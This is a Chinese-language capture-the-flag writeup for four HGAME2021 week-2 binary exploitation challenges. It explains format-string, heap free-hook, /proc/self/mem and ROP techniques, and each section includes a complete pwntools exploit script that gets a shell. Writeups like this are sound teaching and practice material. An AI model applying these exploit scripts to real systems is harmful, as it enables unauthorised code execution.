HGAME2021 week2 pwn writeup
week2一共有4道pwn题
killerqueen
有格式化字符串漏洞，题不算难，但是故事情节真实让人摸不着头脑，但是仔细分析分析，理清楚逻辑就可以做了。
第一次choose1的时候，可以输入0，泄露weather，第二次choose1的时候，就可以让v1==0xFFFFFFFE，进入if分支给s输入值。这里的s的栈地址和存在格式化字符串的栈地址是共享的，并且没有偏移。
这样就有两次机会使用格式化字符串，第一次先泄露libc地址，第二次用格式化字符串进行写操作。刚开始我是打exit_hook来拿shell。后来又用了一种方法，第一次泄露libc地址的时候同时泄露一个栈地址，然后再改写返回地址的位置为one_gadgets，这样也可以做。
1 #!/usr/bin/python 2 # -*- coding: UTF-8 -*- 3 from pwn import * 4 5 p = process('./pwn') 6 elf = ELF('./pwn') 7 libc = ELF('./libc.so.6') 8 context(os='linux',arch='amd64',log_level='debug') 9 10 def duan(): 11 gdb.attach(p) 12 pause() 13 14 p.sendlineafter('电话\n','0') 15 choose = 4294967294-int(p.recvuntil(':')[:-1]) 16 p.sendafter('什么\n','bhxdn') 17 p.send('a') 18 p.sendlineafter('电话\n',str(choose)) 19 payload = 'aaaaaaaa%47$p' 20 p.sendafter('电话号码是——\n',payload) 21 22 p.recvuntil('aaaaaaaa') 23 libc_base = int(p.recv(14),16)-231-libc.symbols['__libc_start_main'] 24 print hex(libc_base) 25 exit_hook = libc_base+0x619060+3840 26 og = [0x4f365,0x4f3c2,0xe58b8,0xe58bf,0xe58c3,0x10a45c,0x10a468] 27 shell = libc_base+og[6] 28 payload = fmtstr_payload(6,{exit_hook:shell},write_size='short') 29 30 p.sendafter('什么\n',payload) 31 p.sendafter('什么\n','bhxdn') 32 p.interactive()
patriot’s note
ubuntu18.04下的题，很简单，泄露libc后直接打__free_hook就能出。
1 from pwn import * 2 3 p = process('./pwn') 4 elf = ELF('./pwn') 5 libc = ELF('./libc.so.6') 6 context.log_level = 'debug' 7 8 def duan(): 9 gdb.attach(p) 10 pause() 11 def add(size): 12 p.sendlineafter('exit\n','1') 13 p.sendlineafter('write?\n',str(size)) 14 def edit(index,content): 15 p.sendlineafter('exit\n','3') 16 p.sendlineafter('edit?\n',str(index)) 17 p.send(content) 18 def show(index): 19 p.sendlineafter('exit\n','4') 20 p.sendlineafter('show?\n',str(index)) 21 def delete(index): 22 p.sendlineafter('exit\n','2') 23 p.sendlineafter('delete?\n',str(index)) 24 25 og = [0x4f365,0x4f3c2,0xe58b8,0xe58bf,0xe58c3,0x10a45c,0x10a468] 26 27 add(0x410) 28 add(0x20) 29 delete(0) 30 show(0) 31 libc_base = u64(p.recvuntil('\x7f').ljust(8,'\x00'))-libc.symbols['__malloc_hook']-96-0x10 32 print 'libc_base-->'+hex(libc_base) 33 free_hook = libc_base+libc.symbols['__free_hook'] 34 shell = libc_base+og[1] 35 delete(1) 36 edit(1,p64(free_hook)) 37 add(0x20) 38 add(0x20) 39 edit(3,p64(shell)) 40 delete(1) 41 p.interactive()
the_shop_of_cosmos
在给了hint之后，才知道是考proc文件系统，在百度了一番之后鼓捣了出来，感觉又学到新知识了。
前置知识
/proc目录
Linux系统内核提供了一种通过/proc文件系统，在程序运行时访问内核数据，改变内核设置的机制。/proc是一种伪文件结构，也就是说是仅存在于内存中，不存在于外存中的。/proc中一般比较重要的目录是sys，net和scsi，sys目录是可写的，可以通过它来访问和修改内核的参数。
/proc中还有一些以PID命名（进程号）的进程目录，可以读取对应进程的信息。另外还有一个/self目录，用于记录本进程的信息。
/proc/self目录
由上面的可知，我们可以通过/proc/$PID/目录来获得该进程的信息，但是这个方法需要知道进程的PID是多少，在fork、daemon等情况下，PID可能还会发生变化。所以Linux提供了self目录，来解决这个问题，这个目录比较独特，不同的进程来访问获得的信息是不同的，内容等价于/proc/本进程PID/目录下的内容。所以可以通过self目录直接获得自身的信息，不需要知道PID。
/proc/self/maps
这个文件用于记录当前进程的内存映射关系，类似于gdb下的vmmap指令，通过读取该文件可以获得内存代码段基地址。
/proc/self/mem
该文件记录的是进程的内存信息，通过修改该文件相当于直接修改进程的内存。这个文件是可读可写的，但是并不能直接进行读，需要结合maps的映射信息来确定读的偏移值，无法读取未被映射的区域，只有读取的偏移值是被映射的区域才能正确读取出内容。
也可以通过写入mem文件来直接写入内存，例如直接修改代码段写入shellcode、修改free_hook为one_gadgets等来拿shell。
利用思路
0day1可以用来读取文件，可以用这个来读取/proc/self/maps来获得libc基地址。
程序存在整数溢出，可以利用这个来修改钱，就可以使用0day2了，用0day2来写__free_hook为one_gadgets就可以拿到shell了。因为0day2最后会调用free函数。
同时，还有一种比较稳定方法是修改__free_hook-8的位置为"/bin/sh"，修改__free_hook为system，这样执行free的时候，会执行system，此时的rdi正好指向binsh字符串，可以稳定的拿到shell。
1 from pwn import * 2 3 p = process('./pwn') 4 libc = ELF('./libc.so.6') 5 context.log_level = 'debug' 6 7 def duan(): 8 gdb.attach(p) 9 pause() 10 11 p.sendlineafter('>> ','3') 12 p.sendlineafter('>> ','-100') 13 p.sendlineafter('>> ','2') 14 p.sendlineafter('>> ','1') 15 p.sendlineafter('>> ','/proc/self/maps\x00') 16 p.recvuntil('7f') 17 libc_base = '7f'+p.recv(10) 18 libc_base = int(libc_base,16) 19 print 'libc_base-->'+hex(libc_base) 20 print 'puts-->'+hex(libc.symbols['puts']) 21 22 og = [0x4f365,0x4f3c2,0xe58b8,0xe58bf,0xe58c3,0x10a45c,0x10a468] 23 shell = libc_base+og[5] 24 25 p.sendlineafter('>> ','3') 26 p.sendlineafter('>> ','1') 27 p.sendlineafter('>> ','/proc/self/mem\x00') 28 p.sendlineafter('>> ',str(libc_base+libc.symbols['__free_hook'])) 29 p.sendlineafter('>> ','8') 30 p.sendafter('>> ',p64(shell)) 31 p.interactive()
参考文章：https://www.anquanke.com/post/id/218886#h3-13
rop_primary
先算两个矩阵相乘，然后就可以rop了，第一次做的时候用system怎么都做不出来，但是用ROPgadget做出来了。后来在system加了一个ret，发现可以打通了，应该是栈对齐的问题。（只知道这么多，具体细节可以参考ex师傅的博客：http://blog.eonew.cn/archives/958）
1 from pwn import * 2 from LibcSearcher import * 3 4 context(os='linux',arch='amd64',log_level='debug') 5 elf=ELF('./pwn') 6 puts_plt_addr=0x401040 7 vuln_addr=0x40157B 8 pop_rdi=0x401613 9 libc_start_main_got_addr =0x403fe8 10 p=remote('159.75.104.107',30372) 11 puts_addr=0x404020 12 putchar_addr=0x404018 13 puts_got = 0x000404020 14 15 ha=0 16 hb=0 17 lista=[] 18 listb=[] 19 p.recvuntil('A:\n') 20 a = p.recvline() 21 la=a.count('\t') 22 while 1: 23 if a == 'B:\n': 24 break 25 else: 26 lista1=[] 27 i = 0 28 while 1: 29 try: 30 lista1.append(a.split("\t")[i]) 31 i += 1 32 except: 33 break 34 lista.append(lista1[:-1]) 35 ha+=1 36 a = p.recvline() 37 38 b = p.recvline() 39 lb=b.count('\t') 40 while 1: 41 if b == 'a * b = ?\n': 42 break 43 else: 44 listb1=[] 45 i = 0 46 while 1: 47 try: 48 listb1.append(b.split("\t")[i]) 49 i += 1 50 except: 51 break 52 listb.append(listb1[:-1]) 53 hb+=1 54 b = p.recvline() 55 for i in range(ha): 56 for j in range(lb): 57 num=0 58 for k in range(la): 59 num+=int(lista[i][k])*int(listb[k][j]) 60 p.sendline(str(num)) 61 62 p.recvuntil('try your best\n') 63 payload=0x30*'A'+8*'A'+p64(pop_rdi)+p64(puts_got)+p64(puts_plt_addr)+p64(vuln_addr) 64 print(payload) 65 p.sendline(payload) 66 libc_start_main_addr = u64(p.recv(6).ljust(8,'\x00')) 67 libc = LibcSearcher("puts", libc_start_main_addr) 68 print "__libc_start_main_addr: " + hex(libc_start_main_addr) 69 libcbase = libc_start_main_addr - libc.dump("puts") 70 print(hex(libcbase)) 71 system_addr = libcbase + libc.dump("system") 72 binsh_addr = libcbase + libc.dump("str_bin_sh") 73 print "system_addr: " + hex(system_addr) 74 print "binsh_addr: " + hex(binsh_addr) 75 p.recvuntil('try your best\n') 76 77 ret = 0x00401260 78 p.sendline('A'*0x38+p64(pop_rdi)+p64(binsh_addr)+p64(ret)+p64(system_addr)) 79 #og = [0xe6c7e,0xe6c81,0xe6c84] 80 #shell = libcbase+og[0] 81 #pop_r12_r13_r14_r15 = 0x000040160c 82 #p.sendline('A'*0x38+p64(pop_r12_r13_r14_r15)+p64(0)*0x4+p64(shell)) 83 p.interactive()
后记
题目还行，感觉the_shop_of_cosmos那道题出的挺好的，学到东西了。第二周over！
